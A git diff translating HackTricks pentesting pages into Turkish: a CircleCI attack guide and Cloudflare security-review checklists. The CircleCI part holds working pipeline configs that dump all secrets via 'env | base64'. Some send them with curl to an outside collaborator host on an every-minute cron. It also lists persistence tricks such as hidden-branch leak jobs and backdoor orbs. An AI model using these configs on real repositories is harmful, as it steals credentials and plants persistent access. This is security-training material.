+[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) sürekli entegrasyon platformudur; burada ne yapmak istediğinizi ve ne zaman yapmak istediğinizi belirten **şablonlar** tanımlayabilirsiniz. Bu şekilde, örneğin, **testleri** veya **dağıtımları** doğrudan **repo ana dalınızdan** **otomatikleştirebilirsiniz**.
-### Permissions
+### İzinler
-**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
-In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
+**CircleCI**, giriş yapan **hesap** ile ilgili github ve bitbucket'tan **izinleri devralır**.\
+Testlerimde, eğer **github'daki repo üzerinde yazma izinleriniz varsa**, **CircleCI'de proje ayarlarını yönetebileceğinizi** kontrol ettim (yeni ssh anahtarları ayarlamak, proje api anahtarlarını almak, yeni CircleCI yapılandırmaları ile yeni dallar oluşturmak...).
-However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
+Ancak, **repo'yu CircleCI projesine dönüştürmek** için bir **repo yöneticisi** olmanız gerekir.
-### Env Variables & Secrets
+### Env Değişkenleri & Gizli Anahtarlar
-According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
+[**belgelere**](https://circleci.com/docs/2.0/env-vars/) göre, bir iş akışı içinde **çevresel değişkenlere değer yüklemenin** farklı yolları vardır.
-#### Built-in env variables
+#### Yerleşik env değişkenleri
-Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
+CircleCI tarafından çalıştırılan her konteyner, [**belgelere tanımlanan belirli env değişkenlerine**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) sahip olacaktır; örneğin `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` veya `CIRCLE_USERNAME`.
-#### Clear text
-
-You can declare them in clear text inside a **command**:
+#### Düz metin
+Bunları bir **komut** içinde düz metin olarak tanımlayabilirsiniz:
```yaml
- run:
- name: "set and echo"
- command: |
- SECRET="A secret"
- echo $SECRET
+name: "set and echo"
+command: |
+SECRET="A secret"
+echo $SECRET
```
-
-You can declare them in clear text inside the **run environment**:
-
+**Çalışma ortamı** içinde açık metin olarak tanımlayabilirsiniz:
```yaml
- run:
- name: "set and echo"
- command: echo $SECRET
- environment:
- SECRET: A secret
+name: "set and echo"
+command: echo $SECRET
+environment:
+SECRET: A secret
```
-
-You can declare them in clear text inside the **build-job environment**:
-
+**build-job ortamı** içinde açık metin olarak tanımlayabilirsiniz:
```yaml
jobs:
- build-job:
- docker:
- - image: cimg/base:2020.01
- environment:
- SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
```
-
-You can declare them in clear text inside the **environment of a container**:
-
+**Bir konteynerin ortamında** açık metin olarak tanımlayabilirsiniz:
```yaml
jobs:
- build-job:
- docker:
- - image: cimg/base:2020.01
- environment:
- SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
```
+#### Proje Gizli Bilgileri
-#### Project Secrets
-
-These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
-You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_
+Bunlar, yalnızca **proje** (her **dal** tarafından) **erişilebilir** olan **gizli bilgilerdir**.\
+Onları _https://app.circleci.com/settings/project/github/\/\/environment-variables_ adresinde **tanımlanmış** olarak görebilirsiniz.
.png>)
> [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
+> "**Değişkenleri İçe Aktar**" işlevi, **diğer projelerden değişkenleri** bu projeye **içe aktarmaya** olanak tanır.
-#### Context Secrets
+#### Bağlam Gizli Bilgileri
-These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
+Bunlar, **örgüt genelinde** olan gizli bilgilerdir. **Varsayılan olarak herhangi bir repo**, burada saklanan **herhangi bir gizli bilgiye** **erişebilecektir**:
.png>)
> [!TIP]
-> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
-> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
+> Ancak, farklı bir grup (Tüm üyeler yerine) **belirli kişilere gizli bilgilere erişim vermek için seçilebilir**.\
+> Bu, gizli bilgilerin **güvenliğini artırmanın** en iyi yollarından biridir; herkesin erişmesine izin vermek yerine sadece bazı kişilerin erişmesine izin verir.
-### Attacks
+### Saldırılar
-#### Search Clear Text Secrets
+#### Açık Metin Gizli Bilgilerini Arama
-If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
+Eğer **VCS'ye** (github gibi) **erişiminiz** varsa, her **repo üzerindeki her dalın** `.circleci/config.yml` dosyasını kontrol edin ve orada saklanan potansiyel **açık metin gizli bilgileri** **arama** yapın.
-#### Secret Env Vars & Context enumeration
+#### Gizli Çevre Değişkenleri ve Bağlam Sıralaması
-Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_.
+Kodu kontrol ederek, her `.circleci/config.yml` dosyasında **kullanılan tüm gizli bilgi adlarını** bulabilirsiniz. Ayrıca, bu dosyalardan **bağlam adlarını** alabilir veya bunları web konsolunda kontrol edebilirsiniz: _https://app.circleci.com/settings/organization/github/\/contexts_.
-#### Exfiltrate Project secrets
+#### Proje gizli bilgilerini dışarıya aktarma
> [!WARNING]
-> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
+> Tüm proje ve bağlam **GİZLİ BİLGİLERİNİ** **dışarıya aktarmak** için, **tüm github örgütünde yalnızca 1 repo** üzerinde **YAZMA** erişimine sahip olmanız **yeterlidir** (_ve hesabınızın bağlamlara erişimi olmalıdır, ancak varsayılan olarak herkes her bağlama erişebilir_).
> [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
-
-All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
+> "**Değişkenleri İçe Aktar**" işlevi, **diğer projelerden değişkenleri** bu projeye **içe aktarmaya** olanak tanır. Bu nedenle, bir saldırgan **tüm repo'lardan tüm proje değişkenlerini içe aktarabilir** ve ardından **hepsini birlikte dışarıya aktarabilir**.
+Tüm proje gizli bilgileri her zaman işlerin çevresinde ayarlanır, bu nedenle sadece çevreyi çağırmak ve base64 ile obfuscate etmek, gizli bilgileri **iş akışları web günlük konsolunda** dışarıya aktaracaktır:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
workflows:
- exfil-env-workflow:
- jobs:
- - exfil-env
+exfil-env-workflow:
+jobs:
+- exfil-env
```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+Eğer **web konsoluna erişiminiz yoksa** ama **repo'ya erişiminiz varsa** ve CircleCI'nin kullanıldığını biliyorsanız, sadece **her dakika tetiklenen** ve **gizli bilgileri harici bir adrese sızdıran** bir **iş akışı** oluşturabilirsiniz:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
- exfil-env-workflow:
- triggers:
- - schedule:
- cron: "* * * * *"
- filters:
- branches:
- only:
- - circleci-project-setup
- jobs:
- - exfil-env
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env
```
+#### Bağlam Gizli Bilgilerini Sızdırma
-#### Exfiltrate Context Secrets
-
-You need to **specify the context name** (this will also exfiltrate the project secrets):
-
+**bağlam adını belirtmeniz gerekir** (bu aynı zamanda proje gizli bilgilerini de sızdıracaktır):
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
workflows:
- exfil-env-workflow:
- jobs:
- - exfil-env:
- context: Test-Context
+exfil-env-workflow:
+jobs:
+- exfil-env:
+context: Test-Context
```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+Eğer **web konsoluna erişiminiz yoksa** ama **repo'ya erişiminiz varsa** ve CircleCI'nin kullanıldığını biliyorsanız, her **dakika tetiklenen** ve **gizli bilgileri harici bir adrese sızdıran** bir **iş akışını** sadece **değiştirebilirsiniz**:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
- exfil-env-workflow:
- triggers:
- - schedule:
- cron: "* * * * *"
- filters:
- branches:
- only:
- - circleci-project-setup
- jobs:
- - exfil-env:
- context: Test-Context
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env:
+context: Test-Context
```
-
> [!WARNING]
-> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
+> Sadece bir repo içinde yeni bir `.circleci/config.yml` oluşturmak **circleci build'ini tetiklemek için yeterli değildir**. Bunu **circleci konsolunda bir proje olarak etkinleştirmeniz gerekir**.
-#### Escape to Cloud
+#### Buluta Kaçış
-**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
-By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
-
-Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
+**CircleCI**, **build'lerinizi kendi makinelerinde veya kendi makinelerinizde çalıştırma** seçeneği sunar.\
+Varsayılan olarak, onların makineleri GCP'de bulunmaktadır ve başlangıçta ilgili bir şey bulamayacaksınız. Ancak, bir kurban **kendi makinelerinde (potansiyel olarak, bir bulut ortamında)** görevleri çalıştırıyorsa, üzerinde ilginç bilgiler bulunan bir **bulut metadata uç noktası** bulabilirsiniz.
+Önceki örneklerde her şeyin bir docker konteyneri içinde başlatıldığını unutmayın, ancak ayrıca **bir VM makinesi başlatmasını isteyebilirsiniz** (farklı bulut izinlerine sahip olabilir):
```yaml
jobs:
- exfil-env:
- #docker:
- # - image: cimg/base:stable
- machine:
- image: ubuntu-2004:current
+exfil-env:
+#docker:
+# - image: cimg/base:stable
+machine:
+image: ubuntu-2004:current
```
-
-Or even a docker container with access to a remote docker service:
-
+Veya uzaktan bir docker hizmetine erişimi olan bir docker konteyneri:
```yaml
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - setup_remote_docker:
- version: 19.03.13
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- setup_remote_docker:
+version: 19.03.13
```
+#### Süreklilik
-#### Persistence
-
-- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
- - _https://app.circleci.com/settings/user/tokens_
-- It's possible to **create projects tokens** to access the project with the permissions given to the token.
- - _https://app.circleci.com/settings/project/github/\/\/api_
-- It's possible to **add SSH keys** to the projects.
- - _https://app.circleci.com/settings/project/github/\/\/ssh_
-- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
- - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
-- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
-- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
+- CircleCI'de **kullanıcı tokenleri oluşturmak** mümkündür, böylece kullanıcı erişimi ile API uç noktalarına erişim sağlanabilir.
+- _https://app.circleci.com/settings/user/tokens_
+- **Proje tokenleri oluşturmak** mümkündür, böylece token'e verilen izinlerle projeye erişim sağlanabilir.
+- _https://app.circleci.com/settings/project/github/\/\/api_
+- Projelere **SSH anahtarları eklemek** mümkündür.
+- _https://app.circleci.com/settings/project/github/\/\/ssh_
+- Her gün tüm **context env** değişkenlerini **sızdıran** beklenmedik bir projede **gizli dalda bir cron işi oluşturmak** mümkündür.
+- Ya da her gün tüm context ve **projelerin gizli bilgilerini** **sızdıran** bilinen bir işi bir dalda oluşturmak / değiştirmek mümkündür.
+- Eğer bir github sahibiyseniz, **doğrulanmamış orb'lere** izin verebilir ve bir işi **arka kapı** olarak yapılandırabilirsiniz.
+- Bazı görevlerde bir **komut enjeksiyonu açığı** bulabilir ve bir **gizli** değerini değiştirerek **komutlar enjekte** edebilirsiniz.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 77d2c2c50..87afcc5c6 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -1,138 +1,134 @@
-# Cloudflare Security
+# Cloudflare Güvenliği
{{#include ../../banners/hacktricks-training.md}}
-In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+Bir Cloudflare hesabında yapılandırılabilecek bazı **genel ayarlar ve hizmetler** bulunmaktadır. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını analiz edeceğiz:**
-## Websites
+## Web Siteleri
-Review each with:
+Her birini gözden geçirin:
{{#ref}}
cloudflare-domains.md
{{#endref}}
-### Domain Registration
+### Alan Adı Kaydı
-- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
+- [ ] **`Alan Adlarını Aktar`** kısmında herhangi bir alan adının aktarımının mümkün olmadığını kontrol edin.
-Review each with:
+Her birini gözden geçirin:
{{#ref}}
cloudflare-domains.md
{{#endref}}
-## Analytics
+## Analitik
-_I couldn't find anything to check for a config security review._
+_Güvenlik yapılandırma incelemesi için kontrol edilecek bir şey bulamadım._
-## Pages
+## Sayfalar
-On each Cloudflare's page:
+Her Cloudflare sayfasında:
-- [ ] Check for **sensitive information** in the **`Build log`**.
-- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
-- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
-- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
-- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
-- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
-- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
+- [ ] **`Build log`** kısmında **hassas bilgileri** kontrol edin.
+- [ ] Sayfalara atanan **Github deposunda** **hassas bilgileri** kontrol edin.
+- [ ] **workflow command injection** veya `pull_request_target` ihlali yoluyla potansiyel github repo ihlalini kontrol edin. Daha fazla bilgi için [**Github Güvenlik sayfası**](../github-security/)na bakın.
+- [ ] `/fuctions` dizininde **zayıf fonksiyonları** kontrol edin (varsa), `_redirects` dosyasındaki **yönlendirmeleri** kontrol edin (varsa) ve `_headers` dosyasındaki **yanlış yapılandırılmış başlıkları** kontrol edin (varsa).
+- [ ] **Kod erişiminiz varsa** **blackbox** veya **whitebox** ile **web sayfasındaki** **zayıflıkları** kontrol edin.
+- [ ] Her sayfanın detaylarında `//pages/view/blocklist/settings/functions`. **`Çevre değişkenleri`** kısmında **hassas bilgileri** kontrol edin.
+- [ ] Detay sayfasında ayrıca **build komutunu** ve **kök dizini** kontrol edin, sayfayı tehlikeye atabilecek **potansiyel enjeksiyonlar** için.
## **Workers**
-On each Cloudflare's worker check:
+Her Cloudflare işçisinde kontrol edin:
-- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
-- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
-- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- - Check for SSRFs returning the indicated page that you can control
- - Check XSSs executing JS inside a svg image
- - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
+- [ ] Tetikleyiciler: İşçiyi tetikleyen nedir? Bir **kullanıcı veri gönderebilir mi** ve bu veri işçi tarafından **kullanılabilir mi**?
+- [ ] **`Ayarlar`** kısmında, **hassas bilgileri** içeren **`Değişkenleri`** kontrol edin.
+- [ ] **İşçi kodunu** kontrol edin ve **zayıflıkları** arayın (özellikle kullanıcının girişi yönetebileceği yerlerde).
+- Kontrol edebileceğiniz belirtilen sayfayı döndüren SSRF'leri kontrol edin.
+- Bir svg resminin içinde JS çalıştıran XSS'leri kontrol edin.
+- İşçinin diğer iç hizmetlerle etkileşimde bulunması mümkündür. Örneğin, bir işçi, girdi ile elde edilen bilgileri depolayan bir R2 kovası ile etkileşimde bulunabilir. Bu durumda, işçinin R2 kovası üzerindeki yeteneklerini ve kullanıcı girdisinden nasıl kötüye kullanılabileceğini kontrol etmek gerekecektir.
> [!WARNING]
-> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
+> Varsayılan olarak bir **İşçiye** `..workers.dev` gibi bir URL verilir. Kullanıcı bunu bir **alt alan adı** olarak ayarlayabilir, ancak eğer biliyorsanız her zaman bu **orijinal URL** ile erişebilirsiniz.
## R2
-On each R2 bucket check:
+Her R2 kovasında kontrol edin:
-- [ ] Configure **CORS Policy**.
+- [ ] **CORS Politikasını** yapılandırın.
-## Stream
+## Akış
TODO
-## Images
+## Görseller
TODO
-## Security Center
+## Güvenlik Merkezi
-- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
-- [ ] Just **check this information** for security misconfigurations and interesting info
+- [ ] Mümkünse, **`Güvenlik İçgörüleri`** **taraması** ve **`Altyapı`** **taraması** çalıştırın, çünkü bunlar **güvenlik** açısından ilginç bilgileri **vurgulayacaktır**.
+- [ ] Sadece **güvenlik yanlış yapılandırmaları** ve ilginç bilgiler için bu bilgileri **kontrol edin**.
## Turnstile
TODO
-## **Zero Trust**
+## **Sıfır Güven**
{{#ref}}
cloudflare-zero-trust-network.md
{{#endref}}
-## Bulk Redirects
+## Toplu Yönlendirmeler
> [!NOTE]
-> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
+> [Dinamik Yönlendirmeler](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/) ile karşılaştırıldığında, [**Toplu Yönlendirmeler**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) esasen statiktir — **herhangi bir dize değiştirme** işlemini veya düzenli ifadeleri desteklemez. Ancak, URL eşleşme davranışlarını ve çalışma zamanı davranışlarını etkileyen URL yönlendirme parametrelerini yapılandırabilirsiniz.
-- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
-- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
+- [ ] **İfadelerin** ve **yönlendirmeler için gereksinimlerin** **mantıklı** olduğunu kontrol edin.
+- [ ] Ayrıca, ilginç bilgiler içeren **hassas gizli uç noktaları** kontrol edin.
-## Notifications
+## Bildirimler
-- [ ] Check the **notifications.** These notifications are recommended for security:
- - `Usage Based Billing`
- - `HTTP DDoS Attack Alert`
- - `Layer 3/4 DDoS Attack Alert`
- - `Advanced HTTP DDoS Attack Alert`
- - `Advanced Layer 3/4 DDoS Attack Alert`
- - `Flow-based Monitoring: Volumetric Attack`
- - `Route Leak Detection Alert`
- - `Access mTLS Certificate Expiration Alert`
- - `SSL for SaaS Custom Hostnames Alert`
- - `Universal SSL Alert`
- - `Script Monitor New Code Change Detection Alert`
- - `Script Monitor New Domain Alert`
- - `Script Monitor New Malicious Domain Alert`
- - `Script Monitor New Malicious Script Alert`
- - `Script Monitor New Malicious URL Alert`
- - `Script Monitor New Scripts Alert`
- - `Script Monitor New Script Exceeds Max URL Length Alert`
- - `Advanced Security Events Alert`
- - `Security Events Alert`
-- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
+- [ ] **Bildirimleri** kontrol edin. Bu bildirimler güvenlik için önerilmektedir:
+- `Kullanıma Dayalı Faturalama`
+- `HTTP DDoS Saldırı Uyarısı`
+- `Katman 3/4 DDoS Saldırı Uyarısı`
+- `Gelişmiş HTTP DDoS Saldırı Uyarısı`
+- `Gelişmiş Katman 3/4 DDoS Saldırı Uyarısı`
+- `Akış Tabanlı İzleme: Hacimsel Saldırı`
+- `Yönlendirme Sızıntısı Tespit Uyarısı`
+- `Erişim mTLS Sertifika Süresi Dolma Uyarısı`
+- `SaaS Özel Alan Adları için SSL Uyarısı`
+- `Evrensel SSL Uyarısı`
+- `Script Monitor Yeni Kod Değişikliği Tespit Uyarısı`
+- `Script Monitor Yeni Alan Adı Uyarısı`
+- `Script Monitor Yeni Kötü Amaçlı Alan Adı Uyarısı`
+- `Script Monitor Yeni Kötü Amaçlı Script Uyarısı`
+- `Script Monitor Yeni Kötü Amaçlı URL Uyarısı`
+- `Script Monitor Yeni Scriptler Uyarısı`
+- `Script Monitor Yeni Script Maksimum URL Uzunluğunu Aşma Uyarısı`
+- `Gelişmiş Güvenlik Olayları Uyarısı`
+- `Güvenlik Olayları Uyarısı`
+- [ ] Tüm **hedefleri** kontrol edin, çünkü webhook URL'lerinde **hassas bilgiler** (temel http kimlik doğrulaması) olabilir. Ayrıca webhook URL'lerinin **HTTPS** kullandığından emin olun.
+- [ ] Ek bir kontrol olarak, belki bir şekilde **tehlikeli bir şey enjekte edebilirsiniz** diye bir üçüncü tarafa **cloudflare bildirimini taklit etmeyi** deneyebilirsiniz.
-## Manage Account
+## Hesabı Yönet
-- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
-- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
-- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- - Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
-- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
+- [ ] **Son 4 haneli kredi kartı**, **son kullanma** tarihi ve **fatura adresi** **`Faturalama` -> `Ödeme bilgileri`** kısmında görülebilir.
+- [ ] Hesapta kullanılan **plan türünü** **`Faturalama` -> `Abonelikler`** kısmında görebilirsiniz.
+- [ ] **`Üyeler`** kısmında hesabın tüm üyeleri ve onların **rolleri** görülebilir. Plan türü Enterprise değilse, yalnızca 2 rol vardır: Yönetici ve Süper Yönetici. Ancak kullanılan **plan Enterprise** ise, [**daha fazla rol**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) kullanılabilir ve bu da en az ayrıcalık ilkesine uyulmasını sağlar.
+- Bu nedenle, mümkün olduğunda **Enterprise planı** kullanılması **önerilir**.
+- [ ] Üyeler kısmında hangi **üyelerin** **2FA etkin** olduğunu kontrol edebilirsiniz. **Her** kullanıcının bunu etkinleştirmesi gerekir.
> [!NOTE]
-> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
+> Neyse ki, **`Yönetici`** rolü, üyelikleri yönetme izinleri vermez (**yetki artırma veya** yeni üyeler davet etme **mümkün değildir**).
-## DDoS Investigation
+## DDoS Soruşturması
-[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
+[Bu kısmı kontrol edin](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 02989e685..3a21db0b3 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -2,29 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
-In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+Cloudflare'da yapılandırılan her TLD'de bazı **genel ayarlar ve hizmetler** yapılandırılabilir. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını analiz edeceğiz:**
### Overview
-- [ ] Get a feeling of **how much** are the services of the account **used**
-- [ ] Find also the **zone ID** and the **account ID**
+- [ ] Hesabın **hizmetlerinin ne kadar** **kullanıldığını** anlamak
+- [ ] Ayrıca **zone ID** ve **account ID** bulmak
### Analytics
-- [ ] In **`Security`** check if there is any **Rate limiting**
+- [ ] **`Security`** bölümünde herhangi bir **Rate limiting** olup olmadığını kontrol et
### DNS
-- [ ] Check **interesting** (sensitive?) data in DNS **records**
-- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
-- [ ] Check for web pages that **aren't** **proxied**
-- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
-- [ ] Check that **DNSSEC** is **enabled**
-- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
-- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+- [ ] DNS **kayıtlarında** **ilginç** (hassas?) verileri kontrol et
+- [ ] **İsim** (örneğin admin173865324.domin.com) temelinde **hassas bilgi** içerebilecek **alt alan adlarını** kontrol et
+- [ ] **Proxylenmemiş** web sayfalarını kontrol et
+- [ ] CNAME veya IP adresi ile **doğrudan erişilebilen** **proxylenmiş web sayfalarını** kontrol et
+- [ ] **DNSSEC**'in **etkin** olduğunu kontrol et
+- [ ] **Tüm CNAME'lerde** **CNAME Flattening**'in **kullanıldığını** kontrol et
+- Bu, **alt alan adı ele geçirme açıklarını gizlemek** ve yükleme sürelerini iyileştirmek için faydalı olabilir
+- Alan adlarının [**sahtecilik için savunmasız olmadığını**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) kontrol et
### **Email**
@@ -38,44 +38,44 @@ TODO
#### **Overview**
-- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
-- [ ] The **SSL/TLS Recommender** should be enabled
+- **SSL/TLS şifrelemesi** **Full** veya **Full (Strict)** olmalıdır. Diğer herhangi bir seçenek, bir noktada **düz metin trafiği** gönderecektir.
+- **SSL/TLS Recommender** etkin olmalıdır
#### Edge Certificates
-- [ ] **Always Use HTTPS** should be **enabled**
-- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
-- [ ] **Minimum TLS Version should be 1.2**
-- [ ] **TLS 1.3 should be enabled**
-- [ ] **Automatic HTTPS Rewrites** should be **enabled**
-- [ ] **Certificate Transparency Monitoring** should be **enabled**
+- **Always Use HTTPS** **etkin** olmalıdır
+- **HTTP Strict Transport Security (HSTS)** **etkin** olmalıdır
+- **Minimum TLS Versiyonu 1.2** olmalıdır
+- **TLS 1.3** **etkin** olmalıdır
+- **Automatic HTTPS Rewrites** **etkin** olmalıdır
+- **Certificate Transparency Monitoring** **etkin** olmalıdır
### **Security**
-- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
-- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
